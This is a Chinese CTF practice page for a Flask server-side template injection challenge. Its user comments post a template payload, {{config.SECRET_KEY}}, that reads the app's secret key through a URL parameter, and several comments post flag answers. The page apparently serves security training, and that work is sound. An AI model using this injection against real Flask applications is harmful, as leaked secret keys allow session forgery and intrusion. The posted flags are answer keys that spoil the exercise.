Simple_SSTI_1WEB 未解决

分数: 5 金币: 2
题目作者: valecalida
一　　血: dotast
一血奖励: 2金币
解　　决: 29025
提　　示:
描　　述:
Simple_SSTI_1
...
登录回复
评论
wuweiw 3年前
举报

http://114.67.175.224:19724/?flag={{%20config.SECRET_KEY}}

回复 0
wukong20618 3年前
举报

flask的模板注入：（注意：这里的SECRET_KEY需要大写）

回复 0
xc1919 3年前
举报

flag{32b9d809b374a1916bc2aca5af1d2e11}

回复 0
chaoge 3年前
举报

flag{8d156fd2764b7bc8429fb07d47be66e8}

回复 0
xhanil 3年前
举报

flag{8d156fd2764b7bc8429fb07d47be66e8}

回复 0
waen 3年前
举报

我们经常建立一个SECRET_KEY,?flag={{ config.SECRET_KEY}}

回复 0
玉米布丁酥 3年前
举报

flag{0385a927ea68d29c57c9a5296eaebab8}

回复 0
wuming1 3年前
举报

利用python flask config 回显

回复 0
jsjjcjx 3年前
举报

echo $FLAG

回复 0
viphhs 3年前
举报

python 的模板注入还是需要再好好研究

回复 0

WriteUp

image
valecalida

5 金币

立即查看

评分(51)

解题动态

厌弃. 攻破了该题 23小时前
香克斯呀 攻破了该题 2天前
LLawliet 攻破了该题 2天前
chenlinXdb 攻破了该题 4天前
CTF-大王 攻破了该题 5天前
青春6666 攻破了该题 7天前
wengun 攻破了该题 7天前
cxkkammt 攻破了该题 7天前
这个昵称已存在 攻破了该题 8天前
EvinZe 攻破了该题 8天前
我只有两题不会 攻破了该题 8天前
星宇Sec 攻破了该题 8天前
mystery 攻破了该题 11天前
__tian__ 攻破了该题 12天前
gysbfff 攻破了该题 12天前
ItsAllOver 攻破了该题 12天前
hzydy0_0 攻破了该题 16天前
Fredjoker 攻破了该题 16天前
CyberX 攻破了该题 17天前
xwm 攻破了该题 18天前
问题反馈